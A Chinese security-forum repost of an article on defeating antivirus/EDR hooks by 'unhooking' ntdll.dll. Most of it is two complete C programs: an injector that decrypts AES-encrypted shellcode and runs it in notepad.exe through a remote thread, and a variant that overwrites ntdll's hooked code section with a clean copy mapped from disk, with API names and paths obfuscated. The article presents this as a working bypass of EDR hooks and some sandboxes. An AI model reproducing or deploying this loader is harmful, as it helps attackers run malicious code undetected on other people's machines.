安全矩阵

 找回密码
 立即注册
搜索
查看: 675|回复: 0

杀软EDR对抗-脱钩

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2023-6-4 11:19:56 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2023-6-4 11:19 编辑

杀软EDR对抗-脱钩

原文链接:杀软EDR对抗-脱钩
重生信息安全 2023-06-03 14:49 发表于山西      以下文章来源于蛇矛实验室 ,作者Gardenia  

1.杀软挂钩的工作原理

    一般的杀毒软件会在我们进程启动的时候注入DLL到进程中,然后对系统函数进行Hook(挂钩).从而拦截我们进程的执行流程,当然这个流程只针对于未被添加到白名单的程序.我们来看下效果图.



这里我设置了白名单为apps目录,在次目录下不会被检测.我们运行一个系统自带的软件Notepad来看下效果.首先X64dbg附加进程






我们随便搜索一个函数看看是否被HOOK





可以发现函数被jmp了,那么是不是我们的函数被HOOK了,如果不清楚我们在运行一个白名单里面的程序看下,或者看JMP后到那里就可以知道了,我们这里对比一下即可.





对比发现为在白名单里面的程序,被挂钩了.这里我们写一个注入程序,看看是否还能注入到进程中
  1. #include <winternl.h>
  2. #include <windows.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <tlhelp32.h>
  7. #include <wincrypt.h>
  8. #pragma comment (lib, "crypt32.lib")
  9. #pragma comment (lib, "advapi32")

  10. unsigned char payload[] = { 0x23, 0xe5, 0x84, 0x36, 0xce, 0x23, 0x3b, 0xe7, 0x55, 0x66, 0x8, 0x50, 0xf3, 0x44, 0xc2, 0xe8, 0x90, 0xf0, 0x8, 0x60, 0x2c, 0x2a, 0xcc, 0x7c, 0xf1, 0x6a, 0xa5, 0x48, 0x10, 0x57, 0x10, 0x7e, 0x10, 0x24, 0x5, 0x90, 0x40, 0x14, 0x7d, 0xd3, 0xba, 0x4e, 0x7f, 0x5, 0xb7, 0x17, 0xa3, 0x4, 0x91, 0x5, 0x97, 0xd7, 0xcb, 0xa2, 0x34, 0x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, 0x41, 0x2b, 0xdf, 0x24, 0x2c, 0xf1, 0x82, 0x78, 0xd1, 0xc4, 0x83, 0x7f, 0x33, 0xb5, 0x8c, 0xf7, 0xac, 0x30, 0x14, 0x0, 0x6f, 0xba, 0xf7, 0x13, 0x51, 0x6a, 0x17, 0x1c, 0xf7, 0xcd, 0x43, 0x79, 0xc2, 0x57, 0xa0, 0x9c, 0x7b, 0x12, 0xce, 0x45, 0x41, 0x4e, 0xb7, 0x6b, 0xbd, 0x22, 0xc, 0xfb, 0x88, 0x2a, 0x4c, 0x2, 0x84, 0xf4, 0xca, 0x26, 0x62, 0x48, 0x6e, 0x9b, 0x3b, 0x85, 0x22, 0xff, 0xf0, 0x4f, 0x55, 0x7b, 0xc3, 0xf4, 0x9d, 0x2d, 0xe8, 0xb6, 0x44, 0x4a, 0x23, 0x2d, 0xf9, 0xe1, 0x6, 0x1c, 0x74, 0x23, 0x6, 0xdb, 0x3c, 0x3c, 0xa6, 0xce, 0xcf, 0x38, 0xae, 0x87, 0xd1, 0x8 };
  11. unsigned char key[] = { 0xc0, 0xa6, 0x8b, 0x1b, 0x59, 0x92, 0xcf, 0x6b, 0xef, 0x96, 0xe7, 0xd7, 0x33, 0x65, 0xda, 0x84 };

  12. unsigned int payload_len = sizeof(payload);

  13. int AESDecrypt(char* payload, unsigned int payload_len, char* key, size_t keylen) {
  14.   HCRYPTPROV hProv;
  15.   HCRYPTHASH hHash;
  16.   HCRYPTKEY hKey;

  17.   if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
  18.     return -1;
  19.   }
  20.   if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
  21.     return -1;
  22.   }
  23.   if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) {
  24.     return -1;
  25.   }
  26.   if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
  27.     return -1;
  28.   }

  29.   if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)payload, (DWORD*)&payload_len)) {
  30.     return -1;
  31.   }

  32.   CryptReleaseContext(hProv, 0);
  33.   CryptDestroyHash(hHash);
  34.   CryptDestroyKey(hKey);

  35.   return 0;
  36. }


  37. int FindTarget(const char* procname) {

  38.   HANDLE hProcSnap;
  39.   PROCESSENTRY32 pe32;
  40.   int pid = 0;

  41.   hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  42.   if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

  43.   pe32.dwSize = sizeof(PROCESSENTRY32);

  44.   if (!Process32First(hProcSnap, &pe32)) {
  45.     CloseHandle(hProcSnap);
  46.     return 0;
  47.   }

  48.   while (Process32Next(hProcSnap, &pe32)) {
  49.     if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
  50.       pid = pe32.th32ProcessID;
  51.       break;
  52.     }
  53.   }

  54.   CloseHandle(hProcSnap);

  55.   return pid;
  56. }

  57. int Inject(HANDLE hProc, unsigned char* payload, unsigned int payload_len) {

  58.   LPVOID pRemoteCode = NULL;
  59.   HANDLE hThread = NULL;

  60.   AESDecrypt((char*)payload, payload_len, (char*)key, sizeof(key));

  61.   pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
  62.   WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T*)NULL);

  63.   hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);
  64.   if (hThread != NULL) {
  65.     WaitForSingleObject(hThread, 500);
  66.     CloseHandle(hThread);
  67.     return 0;
  68.   }

  69.   return -1;
  70. }


  71. int main(void) {

  72.   int pid = 0;
  73.   HANDLE hProc = NULL;

  74.   pid = FindTarget("notepad.exe");

  75.   if (pid) {
  76.     printf("Notepad.exe PID = %d\n", pid);

  77.     hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
  78.       PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
  79.       FALSE, (DWORD)pid);

  80.     if (hProc != NULL) {
  81.       Inject(hProc, payload, payload_len);
  82.       CloseHandle(hProc);
  83.     }
  84.   }
  85.   return 0;
  86. }
复制代码
首先我们先在白名单下运行一下看看.




发现是可以直接注入的,这很正常,因为杀软不拦截我们的任何行为.那么我们放到其他地方来运行下看看效果.



可以发现我们的程序直接被杀掉了,注入的进程也被关闭了.

2.如何绕过EDR挂钩检测

  1. #include <winternl.h>
  2. #include <windows.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <tlhelp32.h>
  7. #include <wincrypt.h>
  8. #pragma comment (lib, "crypt32.lib")
  9. #pragma comment (lib, "advapi32")

  10. unsigned char payload[] = { 0x23, 0xe5, 0x84, 0x36, 0xce, 0x23, 0x3b, 0xe7, 0x55, 0x66, 0x8, 0x50, 0xf3, 0x44, 0xc2, 0xe8, 0x90, 0xf0, 0x8, 0x60, 0x2c, 0x2a, 0xcc, 0x7c, 0xf1, 0x6a, 0xa5, 0x48, 0x10, 0x57, 0x10, 0x7e, 0x10, 0x24, 0x5, 0x90, 0x40, 0x14, 0x7d, 0xd3, 0xba, 0x4e, 0x7f, 0x5, 0xb7, 0x17, 0xa3, 0x4, 0x91, 0x5, 0x97, 0xd7, 0xcb, 0xa2, 0x34, 0x7c, 0x90, 0xc9, 0x4f, 0x65, 0x9d, 0x18, 0x29, 0x15, 0xd8, 0xf9, 0x1d, 0xed, 0x96, 0xc4, 0x1f, 0xee, 0x2c, 0x80, 0xc8, 0x15, 0x4b, 0x68, 0x46, 0xa0, 0xe8, 0xc0, 0xb8, 0x5f, 0x5e, 0xd5, 0x5d, 0x7d, 0xd2, 0x52, 0x9b, 0x20, 0x76, 0xe0, 0xe0, 0x52, 0x23, 0xdd, 0x1a, 0x39, 0x5b, 0x66, 0x8c, 0x26, 0x9e, 0x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4c, 0x2, 0x84, 0xf4, 0xca, 0x26, 0x62, 0x48, 0x6e, 0x9b, 0x3b, 0x85, 0x22, 0xff, 0xf0, 0x4f, 0x55, 0x7b, 0xc3, 0xf4, 0x9d, 0x2d, 0xe8, 0xb6, 0x44, 0x4a, 0x23, 0x2d, 0xf9, 0xe1, 0x6, 0x1c, 0x74, 0x23, 0x6, 0xdb, 0x3c, 0x3c, 0xa6, 0xce, 0xcf, 0x38, 0xae, 0x87, 0xd1, 0x8 };
  11. unsigned char key[] = { 0xc0, 0xa6, 0x8b, 0x1b, 0x59, 0x92, 0xcf, 0x6b, 0xef, 0x96, 0xe7, 0xd7, 0x33, 0x65, 0xda, 0x84 };

  12. unsigned int payload_len = sizeof(payload);

  13. typedef BOOL (WINAPI * VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);
  14. typedef HANDLE (WINAPI * CreateFileMappingA_t)(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR);
  15. typedef LPVOID (WINAPI * MapViewOfFile_t)(HANDLE, DWORD, DWORD, DWORD, SIZE_T);
  16. typedef BOOL (WINAPI * UnmapViewOfFile_t)(LPCVOID);

  17. unsigned char sNtdll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0x0 };
  18. unsigned char sKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 };

  19. int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
  20.   HCRYPTPROV hProv;
  21.   HCRYPTHASH hHash;
  22.   HCRYPTKEY hKey;

  23.   if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
  24.       return -1;
  25.   }
  26.   if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
  27.       return -1;
  28.   }
  29.   if (!CryptHashData(hHash, (BYTE*) key, (DWORD) keylen, 0)){
  30.       return -1;
  31.   }
  32.   if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
  33.       return -1;
  34.   }
  35.   
  36.   if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, (BYTE *) payload, (DWORD *) &payload_len)){
  37.       return -1;
  38.   }
  39.   
  40.   CryptReleaseContext(hProv, 0);
  41.   CryptDestroyHash(hHash);
  42.   CryptDestroyKey(hKey);
  43.   
  44.   return 0;
  45. }


  46. void XORcrypt(char str2xor[], size_t len, char key) {
  47.     int i;

  48.     for (i = 0; i < len; i++) {
  49.         str2xor[i] = (BYTE)str2xor[i] ^ key;
  50.     }
  51. }



  52. int FindTarget(const char *procname) {

  53.         HANDLE hProcSnap;
  54.         PROCESSENTRY32 pe32;
  55.         int pid = 0;
  56.                
  57.         hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  58.         if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
  59.                
  60.         pe32.dwSize = sizeof(PROCESSENTRY32);
  61.                
  62.         if (!Process32First(hProcSnap, &pe32)) {
  63.                 CloseHandle(hProcSnap);
  64.                 return 0;
  65.         }
  66.                
  67.         while (Process32Next(hProcSnap, &pe32)) {
  68.                 if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
  69.                         pid = pe32.th32ProcessID;
  70.                         break;
  71.                 }
  72.         }
  73.                
  74.         CloseHandle(hProcSnap);
  75.                
  76.         return pid;
  77. }


  78. int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

  79.   LPVOID pRemoteCode = NULL;
  80.   HANDLE hThread = NULL;

  81.   AESDecrypt((char *) payload, payload_len, (char *) key, sizeof(key));
  82.   
  83.   pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
  84.   WriteProcessMemory(hProc, pRemoteCode, (PVOID) payload, (SIZE_T) payload_len, (SIZE_T *) NULL);
  85.   
  86.   hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE) pRemoteCode, NULL, 0, NULL);
  87.   if (hThread != NULL) {
  88.       WaitForSingleObject(hThread, 500);
  89.       CloseHandle(hThread);
  90.       return 0;
  91.   }
  92.   return -1;
  93. }


  94. static int UnhookNtdll(const HMODULE hNtdll, const LPVOID pMapping) {
  95.   DWORD oldprotect = 0;
  96.   PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) pMapping;
  97.   PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) pMapping + pImgDOSHead->e_lfanew);
  98.   int i;

  99.   unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };
  100.   
  101.   VirtualProtect_t VirtualProtect_p = (VirtualProtect_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sVirtualProtect);
  102.   
  103.   for (i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) {
  104.     PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) +
  105.                         ((DWORD_PTR) IMAGE_SIZEOF_SECTION_HEADER * i));

  106.     if (!strcmp((char *) pImgSectionHead->Name, ".text")) {
  107.       VirtualProtect_p((LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR) pImgSectionHead->VirtualAddress),
  108.               pImgSectionHead->Misc.VirtualSize,
  109.               PAGE_EXECUTE_READWRITE,
  110.               &oldprotect);
  111.       if (!oldprotect) {
  112.           return -1;
  113.       }
  114.       memcpy( (LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR) pImgSectionHead->VirtualAddress),
  115.           (LPVOID)((DWORD_PTR) pMapping + (DWORD_PTR) pImgSectionHead->VirtualAddress),
  116.           pImgSectionHead->Misc.VirtualSize);

  117.       VirtualProtect_p((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR) pImgSectionHead->VirtualAddress),
  118.               pImgSectionHead->Misc.VirtualSize,
  119.               oldprotect,
  120.               &oldprotect);
  121.       if (!oldprotect) {
  122.           return -1;
  123.       }
  124.       return 0;
  125.     }
  126.   }

  127.   return -1;
  128. }




  129. int main(void) {
  130.    
  131.   int pid = 0;
  132.     HANDLE hProc = NULL;

  133.   unsigned char sNtdllPath[] = { 0x59, 0x0, 0x66, 0x4d, 0x53, 0x54, 0x5e, 0x55, 0x4d, 0x49, 0x66, 0x49, 0x43, 0x49, 0x4e, 0x5f, 0x57, 0x9, 0x8, 0x66, 0x54, 0x4e, 0x5e, 0x56, 0x56, 0x14, 0x5e, 0x56, 0x56, 0x3a };

  134.   unsigned char sCreateFileMappingA[] = { 'C','r','e','a','t','e','F','i','l','e','M','a','p','p','i','n','g','A', 0x0 };
  135.   unsigned char sMapViewOfFile[] = { 'M','a','p','V','i','e','w','O','f','F','i','l','e',0x0 };
  136.   unsigned char sUnmapViewOfFile[] = { 'U','n','m','a','p','V','i','e','w','O','f','F','i','l','e', 0x0 };

  137.   unsigned int sNtdllPath_len = sizeof(sNtdllPath);
  138.   unsigned int sNtdll_len = sizeof(sNtdll);
  139.   int ret = 0;
  140.   HANDLE hFile;
  141.   HANDLE hFileMapping;
  142.   LPVOID pMapping;
  143.   
  144.   CreateFileMappingA_t CreateFileMappingA_p = (CreateFileMappingA_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sCreateFileMappingA);
  145.   MapViewOfFile_t MapViewOfFile_p = (MapViewOfFile_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sMapViewOfFile);
  146.   UnmapViewOfFile_t UnmapViewOfFile_p = (UnmapViewOfFile_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sUnmapViewOfFile);
  147.   
  148.   XORcrypt((char *) sNtdllPath, sNtdllPath_len, sNtdllPath[sNtdllPath_len - 1]);
  149.   hFile = CreateFile((LPCSTR) sNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
  150.   if ( hFile == INVALID_HANDLE_VALUE ) {
  151.       return -1;
  152.   }

  153.   hFileMapping = CreateFileMappingA_p(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
  154.   if (! hFileMapping) {
  155.       CloseHandle(hFile);
  156.       return -1;
  157.   }
  158.   
  159.   pMapping = MapViewOfFile_p(hFileMapping, FILE_MAP_READ, 0, 0, 0);
  160.   if (!pMapping) {
  161.           CloseHandle(hFileMapping);
  162.           CloseHandle(hFile);
  163.           return -1;
  164.   }
  165.   
  166.   printf("Check 1!\n"); getchar();
  167.   
  168.   ret = UnhookNtdll(GetModuleHandle((LPCSTR) sNtdll), pMapping);

  169.   printf("Check 2!\n"); getchar();

  170.   UnmapViewOfFile_p(pMapping);
  171.   CloseHandle(hFileMapping);
  172.   CloseHandle(hFile);
  173.   
  174.   pid = FindTarget("notepad.exe");

  175.   if (pid) {
  176.     printf("Notepad.exe PID = %d\n", pid);

  177.     hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
  178.             PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
  179.             FALSE, (DWORD) pid);

  180.     if (hProc != NULL) {
  181.       Inject(hProc, payload, payload_len);
  182.       CloseHandle(hProc);
  183.     }
  184.   }
  185.   return 0;
  186. }
复制代码
这段代码是加载一份新的NTDLL.DLL来恢复原本已经被破坏的NTDLL.DLL.整个过程就是我们首先加载一份新的NTDLL.DLL保存起来,然后将原本的代码段属性置成读写可执行的,在将我们内存加载的Text段进行替换到原来的Text段,这样原本HOOK的地方就被我们替换过去了,达到了脱钩的效果,我们去看下运行效果.




我们拖进X64DBG 看下效果吧.




目前还是被HOOK的状态,我们回车一下后x64dbg中右键分析这个函数.



发现函数已经被还原了.

3.脱钩后注入ShellCode到进程中

这样就简单的绕过了EDR的挂钩检测,部分沙箱这种技术同样可以绕过.







回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 13:45 , Processed in 0.014903 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表